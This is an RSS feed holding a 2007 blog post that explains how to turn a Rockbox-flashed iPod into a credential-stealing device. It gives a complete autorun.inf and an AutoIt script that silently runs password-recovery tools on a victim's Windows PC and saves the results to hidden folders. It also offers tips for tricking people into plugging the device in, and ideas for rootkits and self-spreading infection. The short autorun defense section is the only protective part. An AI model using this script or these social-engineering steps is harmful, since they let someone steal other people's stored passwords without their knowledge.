<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kalimat al-Mutafalsif &#187; iPod</title>
	<atom:link href="http://thesnarky.com/category/ipod/feed/" rel="self" type="application/rss+xml" />
	<link>http://thesnarky.com</link>
	<description>The Words of the One Who Calls Himself a Philosopher</description>
	<lastBuildDate>Tue, 26 Oct 2010 22:57:56 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>iHack &#8211; The Beginning</title>
		<link>http://thesnarky.com/2007/11/06/ihack-the-beginning/</link>
		<comments>http://thesnarky.com/2007/11/06/ihack-the-beginning/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 06:04:41 +0000</pubDate>
		<dc:creator>Snarky</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[iPod]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://thesnarky.com/2007/11/06/ihack-the-beginning/</guid>
		<description><![CDATA[A friend of mine passed on his used 60GB video iPod to me, which was very much appreciated as my old Sony MD-Walkman still works, but is hindered by all kinds of <a href="http://en.wikipedia.org/wiki/ATRAC">nasty DRM</a>. Nasty enough that I have been unable to even change any songs on there in the past three years as I lost the software. Nasty enough that nobody has bothered to reverse engineer it because even with documentation it's a bear. So I had been planning on getting something, and this was quite a nice graduation present. I immediately replaced the firmware with something a bit more "free", <a href="http://www.rockbox.org/">Rockbox</a>, and named her 'Katana'. Now I've got a nice flat file browser that lets me drop in almost any type of file I want. This doesn't stop at music and videos, I can also read text files, view pictures, etc. Naturally, that's not enough for me *wicked grin*. Read on to see some fun hacks that can be had with your iPod.]]></description>
			<content:encoded><![CDATA[<p>A friend of mine passed on his used 60GB video iPod to me, which was very much appreciated as my old Sony MD-Walkman still works (God bless duct tape), but is hindered by all kinds of <a href="http://en.wikipedia.org/wiki/ATRAC">nasty DRM</a>. Nasty enough that I have been unable to even change any songs on there in the past three years as I lost the software. Nasty enough that nobody has bothered to reverse engineer it because even with documentation it's a bear. So I had been planning on getting something, and this was quite a nice graduation present. I immediately replaced the firmware with something a bit more "free", <a href="http://www.rockbox.org/">Rockbox</a>, and named her 'Katana'. Now I've got a nice flat file browser that lets me drop in almost any type of file I want. This doesn't stop at music and videos, I can also read text files, view pictures, etc. Naturally, that's not enough for me *wicked grin*. Read on to see some fun hacks that can be had with your iPod.<br />
<span id="more-180"></span><br />
<strong>iHack</strong><br />
Now, you hopefully have gleaned from above that an iPod (and basically any media player) is just a hard drive that looks good. Shove some proprietary firmware on there, ask $300 and all of a sudden that <a href="http://www.rapidrepair.com/Merchant2/merchant.mvc?Screen=PROD&Product_Code=1616-iPod_Hard_Drive_Disk_MK6008GAH&Category_Code=">60GB laptop hard drive</a> just doubled or tripled in cost. What you end up buying is essentially a large thumb drive, or small external hard drive, depending on how you look at it, which means we can use it as such. This hack comes from the Spring '06 issue of 2600, though that article had some errors which I've addressed, and some parts (such as autorun) which were just completely left out. </p>
<p>In this attack, you take your -insert favorite media player here- to someone with a computer, and ask if you can quickly charge it for 5 minutes before you get back to work. You may sweeten the deal by offering to pass along a song, or share something with them they want. But once you walk away, you have all their passwords. Too good to be true? Not a chance! (Of course I'm targeting Windows in this, if you want to attack Macs or Linux, you just need to improvise a tad more).</p>
<p><strong>Setup</strong><br />
To start with, you need to be able to access the hard drive on your media player. Using Rockbox is an easy way to do this. Once you have access to the media device, we're going to create a file in its root directory, autorun.inf. Something to the effect of:</p>
<blockquote><p>
[autorun]<br />
shellexecute=ipod.exe<br />
icon=ipod.ico</p></blockquote>
<p>What the above does is declare that its the autorun file, set a custom icon for the ipod (have to make it look the part), and run a special exe we cook up. Save this file, and go grab <a href="http://www.autoitscript.com/autoit3/">AutoIt</a>. I've just started using this program in the last 24 hours and man do I like it. Very simple to create exe files. What we're going to do is use this to execute a few password recovery toolkits. The specific ones aren't important, but I'm using ones by <a href="http://www.nirsoft.net/utils/index.html">Nirsoft</a>, MessenPass, Network Password Recovery, and Mailpass View currently for this demo. Create a folder in the root of your media player "\Hacks\Password\Software\take" and all of the parent folders. You'll want to drop all hacks into the Software folder, and the results of the scans will pop up in the take folder. </p>
<p>The icon I picked (since this is an iPod) was the following:<br />
<img src="http://thesnarky.com/html/pictures/ipod/ipod.ico" alt="" /></p>
<p>The exe we're going to create is made with the following Auto-It script which I won't go into detail on as its fairly straightforward, though the formatting is really bad in WordPress, I apologize. A nice version of the file is found <a href="http://thesnarky.com/html/pictures/ipod/ipod.au3">here</a>.</p>
<p><em>Run(@ComSpec & ' /c ".\Hacking\Password\Software\mspass.exe /stext .\Hacking\Password\Software\take\mspass.log"', @ScriptDir, @SW_HIDE)<br />
sleep(200)<br />
Run(@ComSpec & ' /c ".\Hacking\Password\Software\mailpv.exe /stext .\Hacking\Password\Software\take\mailpv.log"', @ScriptDir, @SW_HIDE)<br />
sleep(200)<br />
Run(@ComSpec & ' /c ".\Hacking\Password\Software\netpass.exe /stext .\Hacking\Password\Software\take\netpass.log"', @ScriptDir, @SW_HIDE)<br />
sleep(3000)<br />
Run(@ComSpec & ' /c "COPY .\Hacking\Password\Software\take\*.log .\Hacking\Password\Software\take\all.log"', @ScriptDir, @SW_HIDE)<br />
sleep(3000)<br />
Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC<br />
Dim $Location = @WorkingDir & '.\Hacking\Password\Software\take\'<br />
Dim $FileName = "all.log"<br />
FileMove($Location & $FileName , $Location & $DateTime & ".txt",1)<br />
sleep(3000)<br />
Run(@ComSpec & ' /c "del .\Hacking\Password\Software\take\*.log"', @ScriptDir, @SW_HIDE)<br />
sleep(1000)</em></p>
<p>Once you have that, build it and name the resulting file ipod.exe. Drop that into the root directory of the media device. We should be all set up now, to check double-click the ipod.exe and see if a text file pops up (it should take roughly 11 seconds to finish everything). If it does, continue on... if not go back up to creating the exe.  Once all the files are in place, you probably want to set the files and folders for the hack to hidden. No reason why the mark should see "Hacking" as a root folder, eh?</p>
<p><strong>Execution</strong><br />
Now that we have a working autorun.inf and ipod.exe its as simple as unplugging your media device, then plugging it back in. Thankfully on Windows XP only CDs are allowed to run autorun with no user intervention so we need to click on the media device, however on older versions this stick will run itself. This is where offers of music work wonders. If a business executive will give out a <a href="http://news.bbc.co.uk/1/hi/technology/3639679.stm">password for a chocolate bar</a>, how many college students will let you open your iPod to give them free music? The first time you double click on the media device it'll run ipod.exe, which happens to run silently. This also pulls up the custom icon, so you can mutter something, then right-click->explore the drive to grab the file you promised them. It appears entirely as if the media device was just loading, and wonder of wonders you recover any passwords stored in plain text. After you walk away, boot the media device into Rockbox, and browse through to see what you got. Evil, huh?</p>
<p><strong>Expanding the Hack</strong><br />
Clearly you can see from this example that anything could be run, it need not be these specific programs, or anything malicious at all. One could pop up any website they wanted, which could be a great Valentine's day gift. Not only do you give a kick butt new media player, but you've personalized it to pop up a website that expresses your love automatically. I guarantee a hug at least, or your money back. I've changed my autorun.inf to be the following:</p>
<blockquote><p>
[autorun]<br />
shellexecute=http://www.stop-phishing.com<br />
icon=ipod.ico
</p></blockquote>
<p>I don't want to be scanning my own system whenever I put new music on, and I really don't want to accidentally attack friends (Shelb, I am so sorry!). Plus the IU informatics department is a great group to give free publicity to. </p>
<p>On the other hand, one could get more evil and toss a rootkit on the device; we all know that's no worse than simply buying a CD. Or perhaps a host of viruses, anything that can be down by a windows executable and 60GB of space is possible here.</p>
<p><strong>Defense</strong><br />
I was remiss last night in posting this without a defense section. The easiest way to prevent it from Autoplaying is to hold shift while inserting any media. This goes for CDs or USB sticks (again on XP you only have to worry about CDs or U3 cruzers). If that fails, a handy trick can be found <a href="http://blogs.developerfusion.com/blogs/thushan/archive/2007/05/06/3066.aspx">here</a> to disable autorun in Windows. To quote Thushan Fernando:</p>
<ol>
<li>Start > Run, type in 'gpedit.msc' without the quotes, this will show you the Group Policy Editor.</li>
<li>Goto 'Computer Configuration' > 'Administrative Templates' > 'System' and select 'Turn Off Autoplay'</li>
<li>When the properties for the policy pops up, check 'Enable' and select 'All Drives' and hit OK.</li>
</ol>
<p>This option turns off autorun.inf from ever running and I highly recommend it.</p>
<p><strong>Research</strong><br />
This would be a great study to see how many people let you plug in, by incrementing the variable in some text file every time ipod.exe is run. (Note the previous was a benign idea, the following are not likely to be approved research). Other ideas might be to infect it with a virus that listens for an iPod to be plugged in, then records the meta data off the iPod. This then could be tossed into something like the Music Genome Project to identify bands the user might enjoy. Then you either trigger a pop up that targets that band, or wait to catch an email address and send them some personal reminders about new CDs coming out. And of course this could be like any boot sector virus and pass itself along to any iPods that are plugged in at a later point in time.</p>
<p>I hope to keep playing around with the iPod as a platform for hacking as it is so commonplace on a college campus. My ultimate goal probably being getting a sniffer running nicely and saving the pcap file for later dissection. Of course, I'd really like to get the iPod directly on the 'Net without using iPod Linux (since Rockbox is also Free Open Source, but supports many platforms) so that I could plug it into random routers that lay about.</p>
<p>And the best part of all this? You can perform the attack while listening to your favorite tunes!</p>
]]></content:encoded>
			<wfw:commentRss>http://thesnarky.com/2007/11/06/ihack-the-beginning/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

